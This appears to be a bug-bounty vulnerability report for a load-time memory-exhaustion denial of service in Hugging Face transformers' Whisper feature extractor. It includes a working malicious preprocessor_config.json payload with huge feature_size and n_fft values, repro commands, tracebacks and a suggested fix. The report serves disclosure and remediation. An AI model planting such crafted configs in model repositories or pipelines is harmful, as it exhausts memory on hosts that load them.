YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
Load-time memory-exhaustion DoS in transformers via a crafted preprocessor_config.json (AutoFeatureExtractor.from_pretrained)
Target: huggingface/transformers
Version tested: transformers 5.14.1, numpy 2.5.1, Python 3.13.12, torch absent
Class: Uncontrolled resource consumption / memory-exhaustion DoS (CWE-789 / CWE-400)
Entry point: transformers.AutoFeatureExtractor.from_pretrained(<dir>) β the ordinary, unavoidable API for loading any audio model's feature extractor. No trust_remote_code, no network, no PyTorch, no sentencepiece. A single ~200-byte JSON file in a malicious/local model repo is sufficient.
Summary
Audio feature extractors eagerly precompute a dense mel filter bank in __init__, sized entirely by config integers with no bounds or sanity validation. Two attacker-controlled fields in preprocessor_config.json β feature_size and n_fft β become the dimensions of dense float64 numpy arrays allocated at model-load time. A ~200-byte JSON therefore forces multi-GB-to-TB allocations, exhausting host memory (or, under an address-space cap, raising MemoryError) before any usable object is built.
Root cause
WhisperFeatureExtractor.__init__ builds the mel filter bank up front:
# transformers/models/whisper/feature_extraction_whisper.py, line 95
self.mel_filters = mel_filter_bank(
num_frequency_bins=1 + n_fft // 2, # n_fft from JSON
num_mel_filters=feature_size, # feature_size from JSON
min_frequency=0.0,
max_frequency=8000.0,
sampling_rate=sampling_rate,
norm="slaney",
mel_scale="slaney",
)
Both feature_size and n_fft are read verbatim from preprocessor_config.json. The path from untrusted JSON to the constructor is:
AutoFeatureExtractor.from_pretrained
-> feature_extraction_utils.from_pretrained
-> feature_extraction_utils.from_dict # feature_extraction_utils.py:576
-> cls(**feature_extractor_dict) # kwargs straight from JSON, zero validation
-> WhisperFeatureExtractor.__init__ # feature_extraction_whisper.py:95
-> mel_filter_bank(...)
Inside mel_filter_bank (transformers/audio_utils.py) the config integers directly size three float64 allocations:
# transformers/audio_utils.py
mel_freqs = np.linspace(mel_min, mel_max, num_mel_filters + 2) # line 703 -> feature_size-length array
...
fft_freqs = np.linspace(0, sampling_rate // 2, num_frequency_bins) # line 713 -> (n_fft//2)-length array
...
# _create_triangular_filter_bank, line 557:
slopes = np.expand_dims(fft_freqs, 0) - np.expand_dims(filter_freqs, 1) # dense (num_frequency_bins, num_mel_filters+2) float64 matrix
There is no length guard, no upper bound, and no memory cap on either dimension. feature_size = n_fft = 2_000_000_000 makes num_mel_filters + 2 = 2000000002; the very first np.linspace allocation (2000000002 * 8 bytes = 14.9 GiB) already fails, and the intended outer-difference slopes matrix would be (1e9) * (2e9) * 8 bytes = petabytes.
Proof of Concept
Two model directories, each containing only a preprocessor_config.json:
benign_model/preprocessor_config.json (stock Whisper):
{"feature_extractor_type": "WhisperFeatureExtractor",
"feature_size": 80, "sampling_rate": 16000, "hop_length": 160,
"chunk_length": 30, "n_fft": 400, "padding_value": 0.0}
malicious_model/preprocessor_config.json (only the two integers changed):
{"feature_extractor_type": "WhisperFeatureExtractor",
"feature_size": 2000000000, "sampling_rate": 16000, "hop_length": 160,
"chunk_length": 30, "n_fft": 2000000000, "padding_value": 0.0}
repro.py caps RLIMIT_AS at 1.5 GiB for a deterministic, clean crash, then calls AutoFeatureExtractor.from_pretrained(dir):
python repro.py benign # negative control
python repro.py malicious # DoS
Captured evidence (live run, this machine)
===== NEGATIVE CONTROL (benign config) =====
[BENIGN] loaded OK in 2.2 ms; mel_filters shape=(201, 80)
===== MALICIOUS config =====
Traceback (most recent call last):
File ".../mel_poc/repro.py", line 21, in run
fe = AutoFeatureExtractor.from_pretrained(path)
File ".../transformers/models/auto/feature_extraction_auto.py", line 345, in from_pretrained
return feature_extractor_class.from_pretrained(pretrained_model_name_or_path, **kwargs)
File ".../transformers/feature_extraction_utils.py", line 381, in from_pretrained
return cls.from_dict(feature_extractor_dict, **kwargs)
File ".../transformers/feature_extraction_utils.py", line 576, in from_dict
feature_extractor = cls(**feature_extractor_dict)
File ".../transformers/models/whisper/feature_extraction_whisper.py", line 95, in __init__
self.mel_filters = mel_filter_bank(
num_frequency_bins=1 + n_fft // 2,
...
File ".../transformers/audio_utils.py", line 703, in mel_filter_bank
mel_freqs = np.linspace(mel_min, mel_max, num_mel_filters + 2)
File ".../numpy/_core/function_base.py", line 142, in linspace
y = _nx.arange(0, num, dtype=dt, device=device).reshape(...)
numpy._core._exceptions._ArrayMemoryError: Unable to allocate 14.9 GiB for an array with shape (2000000002,) and data type float64
[MALICIOUS] MemoryError after 1.7 ms <-- DoS triggered
Uncapped run β genuine host memory exhaustion (not just an allocator guard)
A second run without the artificial RLIMIT_AS cap on a 31 GiB host drove real memory exhaustion: available RAM fell from 26 GiB to 9 GiB and swap filled to 926/953 MiB (host thrashing) until the process was killed:
Mem: total 31Gi used 21Gi free 2.4Gi available 9Gi
Swap: total 953Mi used 926Mi free 27Mi
This confirms the finding is a real denial-of-service (host resource exhaustion), not merely a caught allocator exception.
Negative control
The byte-identical config with the stock feature_size=80, n_fft=400 loads fine (mel_filters shape=(201, 80)) in ~2 ms under the same 1.5 GiB cap β isolating the two config integers as the sole cause (not JSON parsing, not feature-extractor construction).
Impact / scaling
Any pipeline that auto-loads community audio models (ASR/inference services, model-scanning/eval infra, CI) is exposed. The attacker controls the allocation size with a tiny file: the malicious config is ~200 bytes yet forces GB-to-PB allocations at load time. This affects WhisperFeatureExtractor directly and the same eager mel_filter_bank(num_mel_filters=feature_size, num_frequency_bins=1+n_fft//2, ...) pattern used by other audio feature extractors that construct the filter bank from config integers in __init__.
Suggested remediation
Validate feature_size and n_fft (and any other dimension-bearing config integers) against small sane upper bounds in from_dict/__init__ before allocation; or build the mel filter bank lazily and bound its size. Reject configs whose implied filter-bank dimensions exceed a reasonable ceiling.
Dedup note
- Distinct from
huntr-poc-transformers-generate-merges-quadratic-dos(quadratic-time CPU DoS ingenerate_mergesviatokenizer_config.json/AutoTokenizer) β different file, function, entry point (feature extractor vs tokenizer), and resource (memory vs CPU). - Distinct from
huntr-poc-gguf-transformers-dos(gguf merge-building path). - Unrelated to whisper.cpp/ggml mel-filter findings (
whisper-cpp-mel-filter-oom,huntr-poc-ggml-whisper-mel-filter-alloc) β those target the C++ggml/whisper.cppproject, not the PythontransformersAutoFeatureExtractorpath. - No CVE currently maps to the
preprocessor_config.json->mel_filter_bankunbounded-allocation path intransformers/audio_utils.py/feature_extraction_whisper.pyas of packaging.
Files in this repo
repro.pyβ driver (caps RLIMIT_AS at 1.5 GiB for a deterministic MemoryError; runs benign control and malicious case).benign_model/preprocessor_config.jsonβ stock Whisper config (negative control).malicious_model/preprocessor_config.jsonβ malicious config (onlyfeature_size/n_fftchanged).